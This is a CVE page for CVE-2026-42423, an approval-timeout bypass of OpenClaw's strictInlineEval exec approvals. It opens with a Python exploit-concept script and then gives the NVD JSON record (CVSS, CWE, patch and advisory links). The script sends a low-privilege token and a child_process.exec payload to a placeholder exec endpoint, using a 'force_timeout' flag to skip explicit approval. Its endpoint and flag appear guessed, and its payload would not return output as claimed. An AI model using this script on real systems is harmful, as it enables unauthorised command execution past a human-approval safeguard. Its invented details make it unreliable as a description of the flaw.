CVE-2026-42423

import requests # Exploit concept for CVE-2026-42423: OpenClaw Approval Timeout Bypass # Description: This script simulates triggering the strictInlineEval bypass # by sending a request that relies on the timeout fallback mechanism. TARGET_URL = "http://target-openclaw-instance/api/exec" # Malicious command to execute via inline eval PAYLOAD = "eval(require('child_process').exec('whoami').toString())" def exploit(): session = requests.Session() headers = { "Content-Type": "application/json", # Authentication header for low-priv user "Authorization": "Bearer <low_priv_token>" } data = { "command": "inline_eval", "args": PAYLOAD, # Setting a flag or condition that triggers the fallback logic "force_timeout": True } print(f"[+] Sending payload to {TARGET_URL}...") try: # In the vulnerable version, the command executes despite strictInlineEval response = session.post(TARGET_URL, json=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Exploit successful! Command executed via timeout fallback.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-42423", "sourceIdentifier": "[email protected]", "published": "2026-04-28T19:37:46.083", "lastModified": "2026-04-30T14:04:59.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.4.8 contains an approval-timeout fallback mechanism that bypasses strictInlineEval explicit-approval requirements on gateway and node exec hosts. Attackers can exploit this timeout fallback to execute inline eval commands that should require explicit user approval, circumventing the intended security boundary."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-636"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.4.8", "matchCriteriaId": "37A0977C-2C03-4821-B459-0FD7E4A6635A"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/d7c3210cd6f5fdfdc1beff4c9541673e814354d5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-q2gc-xjqw-qp89", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-strictinlineeval-approval-boundary-bypass-via-approval-timeout-fallback", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}